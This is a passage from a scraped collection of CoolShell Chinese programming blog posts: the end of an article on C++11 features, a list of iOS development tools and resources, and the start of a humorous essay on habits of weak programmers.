如果表达式e是一个变量，那么就是这个变量的类型。\n2. 如果表达式e是一个函数，那么就是这个函数返回值的类型。\n3. 如果不符合1和2，如果e是左值，类型为T，那么decltype(e)是T&；如果是右值，则是T。\n\n\n原文给出的示例如下，我们可以看到，这个让的确我们的定义变量省了很多事。\n\n\n\n```\nconst vector<int> vi;\ntypedef decltype (vi.begin()) CIT;\nCIT another_const_iterator;\n```\n\n还有一个适合的用法是用来typedef函数指针，也会省很多事。比如：\n\n\n\n```\n decltype(&myfunc) pfunc = 0;\n\ntypedef decltype(&A::func1) type;\n```\n\n#### auto 和 decltype 的差别和关系\n\n\n[Wikipedia 上是这么说的](http://en.wikipedia.org/wiki/C%2B%2B0x#Type_inference)（关于decltype的规则见上）\n\n\n\n```\n#include <vector>\n\nint main()\n{\n    const std::vector<int> v(1);\n    auto a = v[0];        // a 的类型是 int\n    decltype(v[0]) b = 1; // b 的类型是 const int&, 因为函数的返回类型是\n                          // std::vector<int>::operator[](size_type) const\n    auto c = 0;           // c 的类型是 int\n    auto d = c;           // d 的类型是 int\n    decltype(c) e;        // e 的类型是 int, 因为 c 的类型是int\n    decltype((c)) f = c;  // f 的类型是 int&, 因为 (c) 是左值\n    decltype(0) g;        // g 的类型是 int, 因为 0 是右值\n}\n\n```\n\n如果auto 和 decltype 在一起使用会是什么样子？能看下面的示例，下面这个示例也是引入decltype的一个原因——让C++有能力写一个 “ [forwarding function](http://en.wikipedia.org/wiki/Wrapper_function \"Wrapper function\") 模板”，\n\n\n\n```\n\ntemplate< typename LHS, typename RHS>\n  auto AddingFunc(const LHS &lhs, const RHS &rhs) -> decltype(lhs+rhs)\n{return lhs + rhs;}\n\n```\n\n这个函数模板看起来相当费解，其用到了auto 和 decltype 来扩展了已有的模板技术的不足。怎么个不足呢？在上例中，我不知道AddingFunc会接收什么样类型的对象，这两个对象的 + 操作符返回的类型也不知道，老的模板函数无法定义AddingFunc返回值和这两个对象相加后的返回值匹配，所以，你可以使用上述的这种定义。\n\n\n#### 统一的初始化语法\n\n\nC/C++的初始化的方法比较，C++ 11 用大括号统一了这些初始化的方法。\n\n\n比如：POD的类型。\n\n\n\n```\nint arr[4]={0,1,2,3};\nstruct tm today={0};\n```\n\n关于POD相说两句，所谓POD就是[Plain Old Data](http://en.wikipedia.org/wiki/Plain_Old_Data_Structures)，当class/struct是*极简的(trivial)*、属于*标准布局(standard-layout)*，以及他的所有非静态（non-static）成员都是POD时，会被视为POD。如：\n\n\n\n```\nstruct A { int m; }; // POD\nstruct B { ~B(); int m; }; // non-POD, compiler generated default ctor\nstruct C { C() : m() {}; ~C(); int m; }; // non-POD, default-initialising m\n```\n\nPOD的初始化有点怪，比如上例，new A; 和new A(); 是不一样的，对于其内部的m，前者没有被初始化，后者被初始化了（不同 的编译器行为不一样，VC++和GCC不一样）。而非POD的初始化，则都会被初始化。\n\n\n从这点可以看出，C/C++的初始化问题很奇怪，所以，在C++ 2011版中就做了统一。原文作者给出了如下的示例：\n\n\n\n```\n\nC c {0,0}; //C++11 only. 相当于: C c(0,0);\n\nint* a = new int[3] { 1, 2, 0 }; /C++11 only\n\nclass X {\n    int a[4];\n    public:\n        X() : a{1,2,3,4} {} //C++11, member array initializer\n};\n```\n\n容器的初始化：\n\n\n\n```\n// C++11 container initializer\nvector<string> vs={ \"first\", \"second\", \"third\"};\nmap singers =\n{ {\"Lady Gaga\", \"+1 (212) 555-7890\"},\n{\"Beyonce Knowles\", \"+1 (212) 555-0987\"}};\n```\n\n还支持像Java一样的成员初始化：\n\n\n\n```\nclass C\n{\n   int a=7; //C++11 only\n public:\n   C();\n};\n```\n\n#### Delete 和 Default 函数\n\n\n我们知道C++的编译器在你没有定义某些成员函数的时候会给你的类自动生成这些函数，比如，构造函数，拷贝构造，析构函数，赋值函数。有些时候，我们不想要这些函数，比如，构造函数，因为我们想做实现单例模式。传统的做法是将其声明成private类型。\n\n\n在新的C++中引入了两个指示符，delete意为告诉编译器不自动产生这个函数，default告诉编译器产生一个默认的。原文给出了下面两个例子：\n\n\n\n```\nstruct A\n{\n    A()=default; //C++11\n    virtual ~A()=default; //C++11\n};\n```\n\n再如delete\n\n\n\n```\nstruct NoCopy\n{\n    NoCopy & operator =( const NoCopy & ) = delete;\n    NoCopy ( const NoCopy & ) = delete;\n};\nNoCopy a;\nNoCopy b(a); //compilation error, copy ctor is deleted\n```\n\n这里，我想说一下，为什么我们需要default？我什么都不写不就是default吗？不全然是，比如构造函数，因为只要你定义了一个构造函数，编译器就不会给你生成一个默认的了。所以，为了要让默认的和自定义的共存，才引入这个参数，如下例所示：\n\n\n\n```\nstruct SomeType\n{\n SomeType() = default; // 使用编译器生成的默认构造函数\n SomeType(OtherType value);\n};\n```\n\n关于delete还有两个有用的地方是\n\n\n1）让你的对象只能生成在栈内存上：\n\n\n\n```\nstruct NonNewable {\n    void *operator new(std::size_t) = delete;\n};\n```\n\n2）阻止函数的其形参的类型调用：（若尝试以 double 的形参调用 `f()`，将会引发编译期错误， 编译器不会自动将 double 形参转型为 int 再调用`f()`，如果传入的参数是double，则会出现编译错误）\n\n\n\n```\nvoid f(int i);\n void f(double) = delete;\n```\n\n#### nullptr\n\n\nC/C++的NULL宏是个被有很多潜在BUG的宏。因为有的库把其定义成整数0，有的定义成 (void\\*)0。在C的时代还好。但是在C++的时代，这就会引发很多问题。你可以上网看看。这是为什么需要 `nullptr` 的原因。 `nullptr` 是强类型的。\n\n\n\n```\nvoid f(int); //#1\nvoid f(char *);//#2\n//C++03\nf(0); //二义性\n//C++11\nf(nullptr) //无二义性，调用f(char*)\n```\n\n`所以在新版中请以 nullptr` 初始化指针。\n\n\n#### 委托构造\n\n\n在以前的C++中，构造函数之间不能互相调用，所以，我们在写这些相似的构造函数里，我们会把相同的代码放到一个私有的成员函数中。\n\n\n\n```\nclass SomeType {\nprivate:\n  int number;\n  string name;\n  SomeType( int i, string&amp; s ) : number(i), name(s){}\npublic:\n  SomeType( )               : SomeType( 0, \"invalid\" ){}\n  SomeType( int i )         : SomeType( i, \"guest\" ){}\n  SomeType( string&amp; s ) : SomeType( 1, s ){ PostInit(); }\n};\n```\n\n但是，为了方便并不足让“委托构造”这个事出现，最主要的问题是，基类的构造不能直接成为派生类的构造，就算是基类的构造函数够了，派生类还要自己写自己的构造函数：\n\n\n\n```\nclass BaseClass\n{\npublic:\n  BaseClass(int iValue);\n};\n\nclass DerivedClass : public BaseClass\n{\npublic:\n  using BaseClass::BaseClass;\n};\n```\n\n上例中，派生类手动继承基类的构造函数， 编译器可以使用基类的构造函数完成派生类的构造。 而将基类的构造函数带入派生类的动作 无法选择性地部分带入， 所以，要不就是继承基类全部的构造函数，要不就是一个都不继承(不手动带入)。 此外，若牵涉到多重继承，从多个基类继承而来的构造函数不可以有相同的函数签名(signature)。 而派生类的新加入的构造函数也不可以和继承而来的基类构造函数有相同的函数签名，因为这相当于重复声明。（所谓函数签名就是函数的参数类型和顺序不）\n\n\n#### 右值引用和move语义\n\n\n在老版的C++中，临时性变量（称为右值”R-values”，位于赋值操作符之右）经常用作交换两个变量。比如下面的示例中的tmp变量。示例中的那个函数需要传递两个string的引用，但是在交换的过程中产生了对象的构造，内存的分配还有对象的拷贝构造等等动作，成本比较高。\n\n\n\n```\nvoid naiveswap(string &amp;a, string &amp;b)\n{\n string temp = a;\n a=b;\n b=temp;\n}\n```\n\nC++ 11增加一个新的引用（reference）类型称作右值引用（R-value reference），标记为typename &&。他们能够以non-const值的方式传入，允许对象去改动他们。这项修正允许特定对象创造出move语义。\n\n\n举例而言，上面那个例子中，string类中保存了一个动态内存分存的char\\*指针，如果一个string对象发生拷贝构造（如：函数返回），string类里的char\\*内存只能通过创建一个新的临时对象，并把函数内的对象的内存copy到这个新的对象中，然后销毁临时对象及其内存。**这是原来C++性能上重点被批评的事**。\n\n\n能过右值引用，string的构造函数需要改成“move构造函数”，如下所示。这样一来，使得对某个stirng的右值引用可以单纯地从右值复制其内部C-style的指针到新的string，然后留下空的右值。这个操作不需要内存数组的复制，而且空的暂时对象的析构也不会释放内存。其更有效率。\n\n\n\n```\nclass string\n{\n    string (string&&); //move constructor\n    string&& operator=(string&&); //move assignment operator\n};\n```\n\nThe C++11 STL中广泛地使用了右值引用和move语议。因此，很多算法和容器的性能都被优化了。\n\n\n#### C++ 11 STL 标准库\n\n\nC++ STL库在2003年经历了很大的整容手术 [Library Technical Report 1](http://www.devsource.com/c/a/Languages/Grok-The-New-Features-in-Standard-C/) (TR1)。 TR1 中出现了很多新的容器类 (`unordered_set`, `unordered_map`, `unordered_multiset`, 和 `unordered_multimap`) 以及一些新的库支持诸如：正则表达式， tuples，函数对象包装，等等。 C++11 批准了 TR1 成为正式的C++标准，还有一些TR1 后新加的一些库，从而成为了新的C++ 11 STL标准库。这个库主要包含下面的功能：\n\n\n##### 线程库\n\n\n这们就不多说了，以前的STL饱受线程安全的批评。现在好 了。C++ 11 支持线程类了。这将涉及两个部分：第一、设计一个可以使多个线程在一个进程中共存的内存模型；第二、为线程之间的交互提供支持。第二部分将由程序库提供支持。大家可以看看[promises and futures](http://en.wikipedia.org/wiki/Futures_and_promises)，其用于对象的同步。 [async()](http://www.stdthread.co.uk/doc/headers/future/async.html) 函数模板用于发起并发任务，而 [thread\\_local](http://www.devx.com/cplus/10MinuteSolution/37436) 为线程内的数据指定存储类型。更多的东西，可以查看 Anthony Williams的 [Simpler Multithreading in C++0x](http://www.devx.com/SpecialReports/Article/38883).\n\n\n##### 新型智能指针\n\n\nC++98 的知能指针是 `auto_ptr， 在C++ 11中被废弃了。`C++11  引入了两个指针类： [shared\\_ptr](http://www.informit.com/guides/content.aspx?g=cplusplus&seqNum=239) 和 [unique\\_ptr](http://www.informit.com/guides/content.aspx?g=cplusplus&seqNum=400)。 shared\\_ptr只是单纯的引用计数指针，`unique_ptr 是用来取代`auto_ptr``。 `unique_ptr` 提供 `auto_ptr` 大部份特性，唯一的例外是 `auto_ptr` 的不安全、隐性的左值搬移。不像 `auto_ptr`，`unique_ptr` 可以存放在 C++0x 提出的那些能察觉搬移动作的容器之中。\n\n\n为什么要这么干？大家可以看看《More Effective C++》中对 auto\\_ptr的讨论。\n\n\n##### 新的算法\n\n\n定义了一些新的算法： `all_of()`, `any_of()` 和 `none_of()。`\n\n\n\n```\n#include &lt;algorithm&gt;\n//C++11 code\n//are all of the elements positive?\nall_of(first, first+n, ispositive()); //false\n//is there at least one positive element?\nany_of(first, first+n, ispositive());//true\n// are none of the elements positive?\nnone_of(first, first+n, ispositive()); //false\n```\n\n使用新的copy\\_n()算法，你可以很方便地拷贝数组。\n\n\n\n```\n#include &lt;algorithm&gt;\nint source[5]={0,12,34,50,80};\nint target[5];\n//copy 5 elements from source to target\ncopy_n(source,5,target);\n```\n\n使用 `iota()` 可以用来创建递增的数列。如下例所示：\n\n\n\n```\ninclude &lt;numeric&gt;\nint a[5]={0};\nchar c[3]={0};\niota(a, a+5, 10); //changes a to {10,11,12,13,14}\niota(c, c+3, 'a'); //{'a','b','c'} \n```\n\n总之，看下来，C++11 还是很学院派，很多实用的东西还是没有，比如： XML，sockets，reflection，当然还有垃圾回收。看来要等到C++ 20了。呵呵。不过C++ 11在性能上还是很快。参看 Google’s [benchmark tests](http://www.itproportal.com/2011/06/07/googles-rates-c-most-complex-highest-performing-language/)。原文还引用Stroustrup 的观点：C++11 是一门新的语言——一个更好的 C++。\n\n\n如果把所有的改变都列出来，你会发现真多啊。我估计C++ Primer那本书的厚度要增加至少30%以上。C++的门槛会不会越来越高了呢？我不知道，但我个人觉得这门语言的确是变得越来越令人望而却步了。（想起了某人和我说的一句话——学技术真的是太累了，还是搞方法论好混些？）\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\n* [![C语言的整型溢出问题](../wp-content/uploads/2014/04/c99-150x150.jpg)](https://coolshell.cn/articles/11466.html)[C语言的整型溢出问题](https://coolshell.cn/articles/11466.html)\nThe post [C++11 中值得关注的几大变化（详解）](https://coolshell.cn/articles/5265.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-8-2 10个必需的iOS开发工具和资源.md",
    "content": "---\nlayout: post\ntitle: 10个必需的iOS开发工具和资源\ndate: 2011/8/2/ 0:40:11\nupdated: 2011/8/2/ 0:40:11\nstatus: publish\npublished: true\ntype: post\n---\n\n界面总不是一件很容易事，尤其是iPhone/iPad的界面，做过iOS开发的程序员，一定会感到开发iPhone/iPad的界面是一件多么不容易的事。下面的文章来自[10 Essential iOS Developer Tools & Resources](http://alexefish.com/post/15967480885/10-essential-ios-developer-tools-resources)，这个文章介绍了十个iOS开发的基础性工具和资源，其一定会很有效地帮你做iOS的开发。（在这里，我再闲扯一句，虽然Android的开发好像整整XML文件界面就出来了，其明显比iOS的开发要容易很多，但是我还是觉得iOS的生命力要强过Android，看看Android今天的应用就知道，有时候入门门槛低不是一些好事，大多数的程序员搞出来的Android代码和软件简直令人作呕，就像不是每个人都能烧得手好菜一样。（“[食客与大厨](https://coolshell.cn/articles/3589.html \"食客还是大厨\")”，也许偏激，但值得你我思考），又把蛋扯远了）\n\n\n#### 1. Omnigraffle + Ultimate iPhone Stencil\n\n\n[![](../wp-content/uploads/2011/08/omni.jpeg \"omni\")](https://coolshell.cn/wp-content/uploads/2011/08/omni.jpeg)\n\n\n[Omnigraffle](http://www.omnigroup.com/products/omnigraffle/) 是一个很强大的像Microsoft Viso的一个软件，其只能于运行在Mac OS X和iPad平台之上。它曾获得2002年的苹果设计奖。在这里，你可以下载 [Ultimate iPhone Stencil](http://graffletopia.com/stencils/413) ，然后使用Omnigraffle 来非常快地制作你的iPhone应用的演示界面。（查看了一下Omnigraffle 的iPad版，真贵，$49.99。作者居然推荐买，TNND，一看就是托）。\n\n\n[Omnigraffle Link](http://www.omnigroup.com/products/omnigraffle/), [Ultimate iPhone Stencil Link](http://graffletopia.com/stencils/413)\n\n\n\n#### 2. Glyphish Icons\n\n\n[![](../wp-content/uploads/2011/08/glphy.jpeg \"glphy\")](https://coolshell.cn/wp-content/uploads/2011/08/glphy.jpeg)\n\n\n你可能能从上面的这些图标中看到Flipboard 和 Twitter 在iOS上的应用使用了其中的一些图标。是的，这些个小图标对你的开发很有帮助。作者强烈推荐你花$25去购买 [Glyphish](http://glyphish.com/) 的Pro版。当然啦，你都能花$99/year开发iOS的程序，你还怕花这区区的25刀？\n\n\n[Glypish Link](http://glyphish.com/)\n\n\n#### 3. teehan + lax iPhone 4 GUI PSD\n\n\n[![](../wp-content/uploads/2011/08/teehan.jpeg \"teehan\")](https://coolshell.cn/wp-content/uploads/2011/08/teehan.jpeg)\n\n\nteehan+lax 是一个加拿大多伦多的代理商。他们经常发布一些他们自己内部用的资源， [iPhone 4 GUI PSD](http://www.teehanlax.com/downloads/iphone-4-guid-psd-retina-display/) 就是其中的一个，这是一个PSD资源文件其包括了iPhone 4的UI 视图控制和一般的UI元件。这是免费让你下载的。\n\n\n[teehan + lax iPhone 4 GUI PSD Link](http://www.teehanlax.com/blog/iphone-4-gui-psd-retina-display/)\n\n\n#### 4. Stanford University iPhone Development Lectures\n\n\n[![](../wp-content/uploads/2011/08/stanford.jpeg \"stanford\")](https://coolshell.cn/wp-content/uploads/2011/08/stanford.jpeg)\n\n\n斯坦福大学iPhone开发教程，这可能是iOS开发者的圣经级的课程了，你可以从 iTunes U上下载，当然，国内的各大门户公开课也有这个视频，还有中文字幕。比如网易公开课：<http://v.163.com/special/opencourse/iphonekaifa.html>\n\n\n[iTunes U Link](http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewPodcast?id=384233225)\n\n\n#### 5. 71 Squared\n\n\n[![](../wp-content/uploads/2011/08/71sq.jpeg \"71sq\")](https://coolshell.cn/wp-content/uploads/2011/08/71sq.jpeg)\n\n\n如果你要搞iPhone的游戏开发，那么你可看看 [71 Squared](http://www.71squared.com/iphone-tutorials/) 上的资源和教程，让你从零开始搞iPhone游戏。不知道你有没有听说过 Tiny Wings 这个由 Andreas Illiger 开发的很漂亮的并获得很大成功的游戏？Andreas 就是从这个网站上学习开发的。这个网站的的资源太丰富了，你绝对不能错过。\n\n\n[71 Squared Link](http://www.71squared.com/iphone-tutorials/)\n\n\n#### 6. Charles\n\n\n[![](../wp-content/uploads/2011/08/charles.jpeg \"charles\")](https://coolshell.cn/wp-content/uploads/2011/08/charles.jpeg)\n\n\n如果你想让你的应用发出一个HTTP请求，并通过仿真器来调试，这恐怕是一件很难的事。 [Charles](http://www.charlesproxy.com/) 是这样一个工具其强在让你看到所有的和互联网交互的请求。这个无价的工具可以让你节省巨大的时间来debug你的应用。当然，要价$50啊，很不便宜，但是还是那句话，$99刀一年你都花了，你还在乎这点钱？嘿嘿嘿\n\n\n[Charles Link](http://www.charlesproxy.com/)\n\n\n7. ASIHTTPRequest\n-----------------\n\n\n[![](../wp-content/uploads/2011/08/asihttp.jpeg \"asihttp\")](https://coolshell.cn/wp-content/uploads/2011/08/asihttp.jpeg)\n\n\n和 Charles一样， [ASIHTTPRequest](http://allseeing-i.com/ASIHTTPRequest/) 也是一个强大的封装其由 CFNetwork API构造。如果你想要从你的iPhone上调用一个Web API，那么 [ASIHTTPRequest](http://allseeing-i.com/ASIHTTPRequest/) 一定会省你很多事。这个东西的文档极端的不错，并有成千上万的有用的功能几乎覆盖了所有的事，比如： PUT, DELETE, GET, POST 全都没有问题。\n\n\n[ASIHTTPRequest Link](http://allseeing-i.com/ASIHTTPRequest/)\n\n\n8. Stack Overflow\n-----------------\n\n\n[![](../wp-content/uploads/2011/08/stackoverflow2.jpeg \"stackoverflow2\")](https://coolshell.cn/wp-content/uploads/2011/08/stackoverflow2.jpeg)\n\n\nStack Overflow 这个东西不用说了吧。我个人认为这是这个世界上最佳的问问题的地方，就算你不问，你就上去查一查，你也能看到一大堆已经有人问过的问题。通过问题来加深认识，是进阶的要做的事。在stakeoverflow面前，什么CSDN，it-pub，等等国内的技术问题解决网站完全不值一题。\n\n\n[Stack Overflow Link](http://stackoverflow.com/)\n\n\n#### 9. MBProgressHUD\n\n\n[![](../wp-content/uploads/2011/08/mbprogress.jpeg \"mbprogress\")](https://coolshell.cn/wp-content/uploads/2011/08/mbprogress.jpeg)\n\n\nMBProgressHUD 是一个用来做没有文档的 UIProgressHUD UIKit 类的替代品。其就是用来显示一个正在下载中的指示器。这个东西很容易使用，并且有很好的文档，你需要几分钟就可以把其集成到你的应用中。你可以到 [github repository](https://github.com/jdg/MBProgressHUD)上查看其资料。作者号称其99%的应用都使用了这个东西。\n\n\n[MBProgressHUD Link](https://github.com/jdg/MBProgressHUD)\n\n\n#### 10. Apple Documentation\n\n\n[![](../wp-content/uploads/2011/08/iosdev.jpeg \"iosdev\")](https://coolshell.cn/wp-content/uploads/2011/08/iosdev.jpeg)\n\n\n作者说，最后一个资源也是最好的一个，那就是苹果的官方文档 [Apple Documentation](http://developer.apple.com/devcenter/ios/index.action)，示例代码，视频，各种类的参考文档，你在开发过程中绝对无法离开它。在你去Stack Overflow和Google的时候，你应该先去看看这个文档。\n\n\n[iOS Documentation Link](http://developer.apple.com/devcenter/ios/index.action)\n\n\n上面是原作者介绍的一些资源，看起来是给初学者用的，我也是初学者，在**这里想问一下各位熟悉iOS开发的大拿，在这个基础上，你们有没有什么推荐？**\n\n\n***—-更新 2011/8/3，新浪微博上我以前的一个同事给了大家下面的推荐—-***\n\n\n//[@李杨iBabyNote](http://weibo.com/n/%E6%9D%8E%E6%9D%A8iBabyNote)：加上Three20吧，一个非常好的的开源iphone UI library. facebook 用的，品质有保证。 还有tweetero (Open Source Twitter App for iPhone),国内sina/qq微博 API 基本copy twitter. 所以想做iphone上和围脖相关的应用可以参考此代码\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/2719.html)[苹果开发工具Xcode 4 第二预览版](https://coolshell.cn/articles/2719.html)\n* [![消费者的消费观](../wp-content/uploads/2010/09/1-150x150.png)](https://coolshell.cn/articles/2913.html)[消费者的消费观](https://coolshell.cn/articles/2913.html)\n* [![关于移动端的钓鱼式攻击](../wp-content/uploads/2015/04/phishing-1-150x150.jpg)](https://coolshell.cn/articles/17066.html)[关于移动端的钓鱼式攻击](https://coolshell.cn/articles/17066.html)\n* [![DHH 谈混合移动应用开发](../wp-content/uploads/2014/12/1053-DHH-150x150.jpg)](https://coolshell.cn/articles/12225.html)[DHH 谈混合移动应用开发](https://coolshell.cn/articles/12225.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [![由苹果的低级Bug想到的](../wp-content/uploads/2014/02/apple_goto_fail-150x150.png)](https://coolshell.cn/articles/11112.html)[由苹果的低级Bug想到的](https://coolshell.cn/articles/11112.html)\nThe post [10个必需的iOS开发工具和资源](https://coolshell.cn/articles/5089.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-8-23 弱爆程序员的特征值.md",
    "content": "---\nlayout: post\ntitle: 弱爆程序员的特征值\ndate: 2011/8/23/ 2:4:6\nupdated: 2011/8/23/ 2:4:6\nstatus: publish\npublished: true\ntype: post\n---\n\n【**感谢网友[sumtec](https://coolshell.cn/articles/author/sumtec \"由 sumtec 发布\")投递此文，很欢乐也有意思，与大家共勉**】\n\n\n首先说明：\n\n\n1、以下特征是真实遇到过的，同事犯过的，乃至我自己也犯过的；  \n\n2、为了剧情需要，某些例子进行了一些夸张修饰等演绎创作，如无雷同，请勿生气；  \n\n3、如果你出现过以下症状之一，并不代表你就是弱爆了，但是如果你一直出现，乃至一说到这个大家就能联想到你，那么你就得小心了；  \n\n4、如果你是集这几个的大乘者，恭喜你，你已经找到了离开这个行业的充足理由了。\n\n\n#### 好了，搞定！\n\n\n“那个Bug解决了吗？”\n\n\n“好了，搞定！”\n\n\n“这么快？”\n\n\n正当你非常欣喜的时候，就传来了噩耗：刚才还能编译成功的，就失败了。（好吧，我们的集成编译尚未成功配置上，理论上这种事情应该会被退回。）又或者能编译成功，但是呢，原来明明能起作用的一个下拉框，突然发神经的不起作用了。最隐蔽的莫过于，一切正常，但是当你看到代码的时候，你就晕厥过去了。比如我们曾经发现了一个Bug，简单说就是每次用户点击某个东西，就会执行下面的这段C#代码：\n\n\n`controlPropertyPanel.PropertyChanged += this.UpdatePropertyOnChanged;`\n\n\n这个Bug很明显会导致速度越来越慢，因为同一个更新操作会被更新N次，并且这个N会越来越大。其实这个Bug已经够弱了，但是后来居然被修改为：\n\n\n\n\n```\ncontrolPropertyPanel.PropertyChanged -= this.UpdatePropertyOnChanged;\ncontrolPropertyPanel.PropertyChanged += this.UpdatePropertyOnChanged;\n```\n\n这段代码能编译，能执行，但是就是弱爆了。因为这不仅仅没有从根本上去掉造成问题的逻辑，还会带来更多的困惑：为什么要先减后加呢？\n\n\n这类特征，请大家看看有趣的《[各种流行的编程风格](https://coolshell.cn/articles/2058.html \"各种流行的编程风格\")》，我这个例子算是一种撞大运。我觉这吧，这类问题都是因为只想解决一些表面的东西为目的，完全不管底下的其它任何问题而造成的。\n\n\n#### 那估计是他的Bug\n\n\n“这个问题为啥还没解决呢？”\n\n\n“我觉得应该是他那里边的Bug，我调不了。”\n\n\n“哦……”\n\n\n这个“他”可以是某一位同事，或者前同事，或者微软，或者别的什么公司，再或者某个开源代码的作者。这些个我都遇到过，比如说是另一位现在在职的同事吧。当你告诉这位同事这个Bug似乎在他那儿，并且问问什么时候解决，他也许会很愧疚的立刻调试，可最后结果却仍然是开头对话主人翁的所写代码的问题。\n\n\n再比如说是微软吧，那么对话可能就会包括：“啊，SilverLight真是烂，老是内存泄漏、崩溃等……”“是啊是啊！烂死了！早知道用Flash了。”又或者会说：“微软就是烂，Java就是好。”其实，我不想比较什么SilverLight还是Flash，.NET还是Java。因为在讨论这些问题之前，先最好想想，这真的是别人的错么？相信是其他人的错是一件很简单的事情，因为这样推脱之后你就可以啥都不做了，反正不是我的错。\n\n\n如果真的发现了这是别人的Bug并证明了，那倒好说。但这种特征是一种纯粹的怀疑，并没有丝毫的证明。在仔细找了自己所有可能犯的错之后，如果你怀疑是别人的问题，那请求证一下。\n\n\n#### 无图无真相！\n\n\n“楼主，无图无真相啊！”\n\n\n“楼主，无代码无真相啊！”\n\n\n“楼主，给翻译一下啊！”\n\n\n据说Linus在别人询问Linux内存管理的一个什么问题时，回答道“Read the fxxxing source code”，很多时候我也有类似的冲动。我发现在信息发达的时代，不少人的阅读能力、动手能力都严重退化了。这些人最好就是你亲自来帮他把问题解决了，他才不想了解里面到底 发生了什么。这种问题体现在博客里面，就是寄希望于你写得图文并茂，图嘛最好花里胡哨同时言简而意概，文字嘛最好大段大段的代码。其实图不是重要的，只是为了好看，重点是代码，这样他一Copy就可以直接解决他们的问题了。\n\n\n比方说，Silverlight里面没有各种图像格式的编码器，于是当你希望保存Jpg的时候怎么办呢？Google一下，发现原来有人写过一个FluxJpeg的编码器。下载下来一跑，唉还真能用哎。之后就直接签入，也不捎带看一下有没有什么问题，或者设计不合理的地方。（其实真的有，会很慢，因为有大量毫无必要的数组拷贝。）\n\n\n又或者说，遇到了某个Bug，搜索一下发现，哎，还真有人遇到过，而且还有代码哎！把代码扒下来一跑，发现好像解决了，至于为什么就不管了。甚至还遇到过根本就不管解决不解决问题，反正代码扒下来了就签入了的。\n\n\n再比如，写一篇博客讲解如何缩减.NET编译出来的文体大小，其中提到许多概念需要先阅读微软官方的一个[文档](http://download.microsoft.com/download/d/c/1/dc1b219f-3b11-4a05-9da3-2d0f98b20917/partition%20ii%20metadata.doc)。结果，还是会有人回复说，你那个文章里面提到那么多的Blob，也不说说Blob里面都有什么，大概是很不满意吧。可是这个文档里面都有啊，难道就不能自己阅读一下？其实即便我连这个文档都没有给出，自己也应该有这个能力去进行思考，去动手寻找。\n\n\n千万不要退化成一个啥都要别人给你嚼烂了才能够吞下去，吞下去也不会消化吸收的人。这样的人大概别人给的是大便，只要有代码无真相，也会照样吃下去的。若真如此，那你打算如何提高呢？\n\n\n#### 那是个对象！\n\n\n“这个ExpressionVisitor，它是用来干什么的？”\n\n\n“……”\n\n\n“好吧，或者这么说，他是一个什么东西？”\n\n\n“他是一个对象！”\n\n\n“啊？”\n\n\n“哦，是一个对象的实例。”\n\n\n大概这样的回答，和那个微软工程师说“[你在直升飞机上](http://blog.oasisfeng.com/2007/09/21/experiencing-support-from-ms/)”差不多——反正你也不能说是错的，但是就是没什么意义。其实不知道没啥问题，人又不是神，怎么可能都知道呢？不去仔细了解和学习问题也不严重，因为你可以改。但是当你习惯性的随便找一个绝对没错但又不说明任何问题的答案，甚至似是而非的东西来对付的时候，你就离弱爆的边缘很近了。\n\n\n当然，上面的对话也许是比较极端的。一个稍弱一点的对话版本是：\n\n\n“这个内存泄漏是怎么造成的呢？”\n\n\n“嗯，会不会是图片放的位置不对呢？”\n\n\n哈，还是很夸张对吧？没办法，写博客有时候需要夸张的文字，否则你无法理解我的意思是：有时候，大家会倾向于从自己的记忆中寻找一些相似的物品，然后选择相似度自认为比较高的东西出来当作答案，而全然不管两者之间的逻辑是否有哪怕那么一丝的关联。也许很多时候，我们确实需要从相似的东西开始，但请别把他当作终点。程序是需要严谨的逻辑的，所以你也必须非常严谨的去推演。\n\n\n关于这类的问题真的太多太多了，比如我指着下面这段代码当中的红字：\n\n\nvar dictionary = new Dictionary<string, string>();  \n\ndictionary**[“someKey”]** = “someValue”;\n\n\n“这句话说明了什么？”\n\n\n“说明dictionary是一个数组。”\n\n\n#### 集大成者\n\n\n最后我举一个集大成者的例子，说，有个任务是要在SilverLight应用上面添加一个“收藏本站点”。好，怎么解决呢？网上一搜，发现有很多这样的代码：\n\n\n\n```\nfunction AddBookmark(Url, LabeName) {\n  if (document.all)\n  {\n    window.external.addFavorite(Url, LabeName);\n  }\n  else if (window.sidebar)\n  {\n    window.sidebar.addPanel(LabeName, Url, '');\n  